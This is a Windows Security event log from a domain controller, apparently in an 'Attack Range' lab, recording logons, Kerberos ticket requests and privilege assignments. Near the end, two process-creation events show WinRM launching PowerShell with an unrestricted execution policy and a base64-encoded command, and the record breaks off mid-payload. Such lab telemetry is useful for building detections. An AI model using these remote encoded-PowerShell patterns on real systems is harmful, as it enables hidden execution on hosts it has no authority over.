OpCode=Info
RecordNumber=250546
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x111247

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250545
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x111247
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64458

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250544
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x111247

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250543
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x111185

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250542
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x111185
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64457

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250541
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x111185

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250540
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1110D6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250539
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1110D6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64456

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250538
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1110D6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250537
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x111045

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250536
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x111045
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64455

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250535
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x111045

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250534
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x110909

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250533
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x110909
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250532
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250531
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250530
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250529
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x284
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x998
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQB5AEEAQwA0AEEATgBnAEEAMwBBAEQARQBBAE0AZwBBADEAQQBEAFEAQQBMAFEAQQB5AEEARABZAEEATQBBAEEAMgBBAEQATQBBAE4AUQBBADIAQQBEAFEAQQBNAGcAQQB4AEEARABnAEEATwBRAEEAeABBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250528
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x998
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1340
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQB5AEEAQwA0AEEATgBnAEEAMwBBAEQARQBBAE0AZwBBADEAQQBEAFEAQQBMAFEAQQB5AEEARABZAEEATQBBAEEAMgBBAEQATQBBAE4AUQBBADIAQQBEAFEAQQBNAGcAQQB4AEEARABnAEEATwBRAEEAeABBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAE